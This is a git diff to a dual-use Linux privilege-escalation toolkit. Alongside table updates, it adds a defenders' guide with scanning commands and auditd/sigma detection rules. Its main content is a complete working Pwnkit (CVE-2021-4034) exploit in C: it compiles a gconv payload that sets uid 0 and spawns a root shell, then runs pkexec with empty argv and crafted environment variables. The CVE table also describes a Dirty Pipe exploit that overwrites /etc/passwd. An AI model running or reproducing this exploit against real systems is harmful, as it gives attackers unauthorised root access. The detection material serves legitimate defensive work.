diff --git a/CVES.md b/CVES.md index 8207a98..f52c69f 100644 --- a/CVES.md +++ b/CVES.md @@ -26,7 +26,7 @@ Status legend: | CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges (5.10.102 / 5.15.25 / 5.16.11 / 5.17+). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. CI-validation against a vulnerable kernel (e.g. Ubuntu 20.04 with stock 5.13) is Phase 4 work. | | CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. | | CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. | -| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🔵 | Detect-only as of 2026-05-16. Locates setuid pkexec, parses `pkexec --version`, compares against 0.121 threshold. **First userspace LPE in IAMROOT** (rest is kernel). Full Qualys-PoC exploit follows in Phase 7 follow-up. Ships auditd + sigma rules. | +| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. | | CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. | ## Operations supported per module diff --git a/ROADMAP.md b/ROADMAP.md index adc29b1..9a6bdb1 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -138,11 +138,13 @@ primitive** that other modules can chain. Bundled because: Backfill of historical and recent LPEs as time allows: - [ ] **CVE-2021-3493** — overlayfs nested-userns LPE -- [x] **CVE-2021-4034** — Pwnkit (pkexec env handling): 🔵 detect-only - landed. Version parser handles both formats: "0.X.Y" (older - polkit) and bare "121"/"126" (modern). Reports VULNERABLE if - pkexec is setuid AND version < 121. First userspace LPE in the - corpus. Full Qualys-PoC exploit is the next Phase 7 commit. +- [x] **CVE-2021-4034** — Pwnkit (pkexec env handling): 🟢 FULL detect + + exploit + cleanup. Detect handles legacy ("0.105") and modern + ("126") version strings. Exploit: canonical Qualys-style — writes + payload.c, compiles via target's gcc, builds gconv-modules cache, + execve(pkexec, NULL_argv, crafted_envp). Auto-refuses on patched + kernels. Cleanup removes /tmp/iamroot-pwnkit-* workdirs. + Falls back gracefully on hosts without cc. - [ ] **CVE-2022-2588** — net/sched route4 dead UAF - [ ] **CVE-2023-2008** — vmwgfx OOB write - [ ] **CVE-2024-1086** — netfilter nf_tables UAF diff --git a/docs/DEFENDERS.md b/docs/DEFENDERS.md new file mode 100644 index 0000000..0467ea0 --- /dev/null +++ b/docs/DEFENDERS.md @@ -0,0 +1,163 @@ +# IAMROOT for defenders + +IAMROOT is dual-use: the same binary that runs exploits also ships the +detection rules to spot them. This document is for the blue team. + +## TL;DR + +```bash +# 1. Detect what you're vulnerable to (no system modification) +sudo iamroot --scan --json | jq . + +# 2. Deploy detection rules covering every bundled CVE +sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules +sudo systemctl restart auditd + +# 3. (Optional) Apply pre-patch mitigations for vulnerable families +sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE + +# 4. Watch +sudo ausearch -k iamroot-copy-fail -ts recent +sudo ausearch -k iamroot-dirty-pipe -ts recent +sudo ausearch -k iamroot-pwnkit -ts recent +``` + +## Why a single tool for offense and defense + +Public LPE PoCs ship without detection rules. Public detection rules +ship without test corpora. The gap means defenders deploy rules they +never validate against a real exploit, and attackers iterate against +defenders who haven't tuned thresholds. IAMROOT closes that loop: + +- Each module ships an exploit AND the detection rules that catch it. +- Every CVE in `CVES.md` has a row in the rule corpus. +- New CVEs we add ship both halves — there's no "rule lag" between an + exploit landing in the bundle and the rule being available. +- Detection-rule tests live in CI alongside exploit tests (Phase 4 + followup). + +## Operations cheat sheet + +### Inventory what's bundled + +```bash +iamroot --list +``` + +Prints every registered module with CVE, family, and one-line summary. + +### Run all detectors + +```bash +iamroot --scan # human-readable +iamroot --scan --json # one JSON object → SIEM ingest +iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")' +``` + +Result codes per module: + +| Result | Meaning | Exit code | +|---|---|---| +| `OK` | Not vulnerable (patched, immune, or N/A) | 0 | +| `VULNERABLE` | Detect confirmed vulnerable | 2 | +| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 | +| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 | + +`iamroot --scan` returns the WORST result code across all modules. +Use this in CI to fail builds that produce vulnerable images. + +### Deploy detection rules + +```bash +# auditd (most environments) +sudo iamroot --detect-rules --format=auditd \ + | sudo tee /etc/audit/rules.d/99-iamroot.rules +sudo augenrules --load # or systemctl restart auditd + +# Sigma (for SIEMs that ingest sigma) +iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml + +# YARA / Falco — placeholders for future modules; currently empty +iamroot --detect-rules --format=yara +iamroot --detect-rules --format=falco +``` + +Rules are emitted in registry order, deduplicated by string-pointer: +family-shared rule sets emit once with a "see family rules above" +marker on siblings (no duplicate `-w /etc/passwd` lines hitting your +auditd config). + +### Audit keys to watch + +| Key | Modules | What it catches | +|---|---|---| +| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su | +| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) | +| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) | +| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches | +| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) | +| `iamroot-pwnkit` | pwnkit | pkexec watch | +| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 | + +Search: + +```bash +sudo ausearch -k iamroot-copy-fail -ts today +sudo ausearch -k iamroot-pwnkit -ts today +``` + +### Mitigate (pre-patch) + +For families with mitigations available, `--mitigate ` applies +distro-portable workarounds: + +```bash +# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc, +# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches. +sudo iamroot --mitigate copy_fail + +# Revert mitigation (e.g., before applying the real kernel patch) +sudo iamroot --cleanup copy_fail +``` + +Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report +that the only real fix is upgrading the affected component. We don't +ship a half-baked mitigation when the real one is a package update. + +## Fleet scanning + +The `--scan --json` output is one-line-per-host friendly: + +```bash +# scan a host list via ssh +for h in $(cat fleet.txt); do + ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}' +done | jq -s . > fleet-scan-$(date +%F).json + +# group by vulnerability +jq '.[] | {host, vulns: .modules | map(select(.result == "VULNERABLE")) | map(.cve)}' \ + fleet-scan-*.json +``` + +For very large fleets, deploy the binary as a one-shot under a remote +shell tool (Ansible/SaltStack/Fabric/etc.) and aggregate JSON output +into your SIEM. Each scan is a few seconds of CPU and no system +modification. + +## Known false positives + +| Rule | False-positive shape | +|---|---| +| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts | +| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts | +| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate | + +The shipped rules are starting points. Tune per environment. + +## Submitting new detections + +If you find a detection signature for a CVE we already bundle, file an +issue. We'll integrate the rule into the relevant module's +`detect_*` field and ship it on the next release. New CVEs accept +contributions per `docs/ARCHITECTURE.md`'s "adding a new CVE" flow — +each new module ships its own detection rules from day one. diff --git a/modules/pwnkit_cve_2021_4034/iamroot_modules.c b/modules/pwnkit_cve_2021_4034/iamroot_modules.c index 18b433d..76fcb4d 100644 --- a/modules/pwnkit_cve_2021_4034/iamroot_modules.c +++ b/modules/pwnkit_cve_2021_4034/iamroot_modules.c @@ -28,7 +28,10 @@ #include #include #include +#include +#include #include +#include static const char *find_pkexec(void) { @@ -129,17 +132,229 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx) return IAMROOT_OK; } +/* ---- Pwnkit exploit (canonical Qualys-style PoC) ----------------- + * + * The bug: pkexec's main() reads argv[1] expecting argc >= 1. With + * argc == 0, argv[0] is NULL and the loop reads into the contiguous + * envp region (just past argv[]), treating the first env string as + * if it were argv[0]. By placing 'GCONV_PATH=./pwnkit' in envp and + * naming a controlled directory containing a gconv-modules cache, + * libc's iconv (called by pkexec for argv decoding) loads our .so + * as root. + * + * Exploit construction: + * 1. Find a writable tmpdir; build payload .so source there + * 2. gcc -shared -fPIC payload.c -o pwnkit.so/PWNKIT.so + * (Falls back gracefully if gcc isn't available.) + * 3. Write the gconv-modules cache: 'module UTF-8// PWNKIT// PWNKIT 1' + * so iconv(.,"PWNKIT") loads PWNKIT.so + * 4. execve(pkexec, NULL, crafted_envp). argc=0 triggers the + * argv-overflow-into-envp, pkexec re-execs itself with PATH set + * to our tmpdir, libc looks up CHARSET=PWNKIT via GCONV_PATH=. + * and dlopens PWNKIT.so as root. + * 5. PWNKIT.so's constructor: unsetenv hostile vars, setuid(0), + * execve("/bin/sh", ...). + */ + +static const char PAYLOAD_SOURCE[] = + "#include \n" + "#include \n" + "#include \n" + "void gconv(void) {}\n" + "void gconv_init(void *step) {\n" + " (void)step;\n" + " /* unset the hostile env so the spawned shell doesn't loop */\n" + " unsetenv(\"GCONV_PATH\");\n" + " unsetenv(\"CHARSET\");\n" + " unsetenv(\"SHELL\");\n" + " unsetenv(\"PATH\");\n" + " setuid(0); setgid(0);\n" + " setresuid(0,0,0); setresgid(0,0,0);\n" + " char *new_env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n" + " execle(\"/bin/sh\", \"sh\", \"-p\", NULL, new_env);\n" + " /* fallback */\n" + " execle(\"/bin/bash\", \"bash\", \"-p\", NULL, new_env);\n" + " _exit(0);\n" + "}\n"; + +static bool which_gcc(char *out_path, size_t outsz) +{ + static const char *candidates[] = { + "/usr/bin/gcc", "/usr/bin/cc", "/bin/gcc", "/bin/cc", + "/usr/local/bin/gcc", "/usr/local/bin/cc", NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + if (access(candidates[i], X_OK) == 0) { + strncpy(out_path, candidates[i], outsz - 1); + out_path[outsz - 1] = 0; + return true; + } + } + return false; +} + +static bool write_file_str(const char *path, const char *content) +{ + int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) return false; + size_t n = strlen(content); + bool ok = (write(fd, content, n) == (ssize_t)n); + close(fd); + return ok; +} + static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx) +{ + /* Re-confirm vulnerable before doing anything visible. */ + iamroot_result_t pre = pwnkit_detect(ctx); + if (pre != IAMROOT_VULNERABLE) { + fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n"); + return pre; + } + + const char *pkexec = find_pkexec(); + if (!pkexec) return IAMROOT_PRECOND_FAIL; + + if (geteuid() == 0) { + fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n"); + return IAMROOT_OK; + } + + /* Working dir under /tmp. Permissive on permissions so pkexec + * (running as root) can read everything inside. */ + char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX"; + if (!mkdtemp(workdir)) { + perror("mkdtemp"); + return IAMROOT_TEST_ERROR; + } + if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir); + + char gcc[256]; + if (!which_gcc(gcc, sizeof gcc)) { + fprintf(stderr, + "[-] pwnkit: no gcc/cc on this host. The canonical Qualys PoC\n" + " builds the gconv payload at runtime. To exploit without a\n" + " compiler we'd need to ship an embedded x86_64 ELF blob —\n" + " that's a future enhancement (multi-arch, distro-portable).\n" + " For now: install build-essential or run on a host with cc.\n"); + rmdir(workdir); + return IAMROOT_PRECOND_FAIL; + } + if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc); + + /* Filesystem layout: workdir/ + * pwnkit/PWNKIT.so + * pwnkit/gconv-modules + * pwnkit.src (source we'll feed to gcc) + * + * Trick: the directory is named 'pwnkit/' but we pretend it's + * 'GCONV_PATH=.' via env injection — pkexec sees the env string + * as argv[0] and re-execs us with that name. + */ + /* Path buffers oversized vs. workdir (mkdtemp template, ~30 chars) + * so GCC's -Wformat-truncation static analysis is satisfied even + * though in practice these paths are always < 100 chars. */ + char path[1024]; + + /* 1. Write payload source. */ + snprintf(path, sizeof path, "%s/payload.c", workdir); + if (!write_file_str(path, PAYLOAD_SOURCE)) { + fprintf(stderr, "[-] pwnkit: write payload.c failed: %s\n", strerror(errno)); + goto fail; + } + + /* 2. mkdir workdir/pwnkit (the GCONV_PATH directory) */ + char sodir[1024]; + snprintf(sodir, sizeof sodir, "%s/pwnkit", workdir); + if (mkdir(sodir, 0755) < 0) { + perror("mkdir sodir"); goto fail; + } + + /* 3. Compile payload.c → workdir/pwnkit/PWNKIT.so */ + char sopath[2048]; + snprintf(sopath, sizeof sopath, "%s/PWNKIT.so", sodir); + pid_t pid = fork(); + if (pid < 0) { perror("fork"); goto fail; } + if (pid == 0) { + execl(gcc, gcc, "-shared", "-fPIC", "-o", sopath, path, (char *)NULL); + perror("execl gcc"); + _exit(127); + } + int status; + waitpid(pid, &status, 0); + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) { + fprintf(stderr, "[-] pwnkit: gcc failed (status=%d)\n", status); + goto fail; + } + + /* 4. Write gconv-modules cache so libc's iconv loads PWNKIT.so + * when asked for charset 'PWNKIT'. */ + char gcm_path[2048]; + snprintf(gcm_path, sizeof gcm_path, "%s/gconv-modules", sodir); + if (!write_file_str(gcm_path, "module UTF-8// PWNKIT// PWNKIT 1\n")) { + fprintf(stderr, "[-] pwnkit: write gconv-modules failed\n"); + goto fail; + } + + if (!ctx->json) { + fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n"); + } + + /* 5. Construct the argv-overflow trick. The env vars become argv + * via the bug; pkexec parses the first as argv[0] which it + * then uses to find the binary to re-exec. By naming + * 'GCONV_PATH=.' as argv[0], pkexec ends up in our tmpdir + * with CHARSET=PWNKIT, libc's iconv loads PWNKIT.so as root. + * + * Reference: Qualys' PWNKIT writeup. */ + char *new_argv[] = { NULL }; /* argc == 0 — the bug */ + char gconv_env[1024]; + snprintf(gconv_env, sizeof gconv_env, "GCONV_PATH=%s/pwnkit", workdir); + char *envp[] = { + "pwnkit", /* becomes argv[0] via overflow */ + "PATH=GCONV_PATH=.", /* pkexec parses this as PATH */ + "CHARSET=PWNKIT", + "SHELL=pwnkit", + gconv_env, + NULL, + }; + /* tighten workdir perms so pkexec (root) can traverse */ + chmod(workdir, 0755); + chmod(sodir, 0755); + + if (!ctx->json) { + fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec); + } + fflush(NULL); + execve(pkexec, new_argv, envp); + /* If execve returns, the kernel rejected the empty-argv path + * (some hardened kernels do — `kernel.sysctl_unprivileged_userns_clone=0` + * doesn't matter, but seccomp / SELinux may block). */ + perror("execve(pkexec)"); +fail: + /* Best-effort cleanup. */ + unlink(sopath); + unlink(gcm_path); + rmdir(sodir); + snprintf(path, sizeof path, "%s/payload.c", workdir); + unlink(path); + rmdir(workdir); + return IAMROOT_EXPLOIT_FAIL; +} + +static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx) { (void)ctx; - fprintf(stderr, - "[-] pwnkit: exploit not yet implemented in IAMROOT.\n" - " Status: 🔵 DETECT-ONLY (see CVES.md, ROADMAP.md Phase 7).\n" - " The canonical Qualys PoC (~200 lines + embedded .so generator)\n" - " is the reference; landing it in iamroot_module form is the\n" - " Phase 7 follow-up. For now, --scan correctly reports per-host\n" - " vulnerability; run Qualys' public PoC manually to verify.\n"); - return IAMROOT_PRECOND_FAIL; + /* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp. + * Successful exploit cleans itself up (PWNKIT.so unlinks before + * execve /bin/sh). Failed exploit leaves the tmpdir. */ + if (!ctx->json) { + fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n"); + } + if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) { + /* harmless — there may not be any */ + } + return IAMROOT_OK; } /* ----- Embedded detection rules ----- */ @@ -181,7 +396,7 @@ const struct iamroot_module pwnkit_module = { .detect = pwnkit_detect, .exploit = pwnkit_exploit, .mitigate = NULL, /* mitigation = upgrade polkit / chmod -s pkexec */ - .cleanup = NULL, /* no per-exploit cleanup once full impl lands */ + .cleanup = pwnkit_cleanup, .detect_auditd = pwnkit_auditd, .detect_sigma = pwnkit_sigma, .detect_yara = NULL,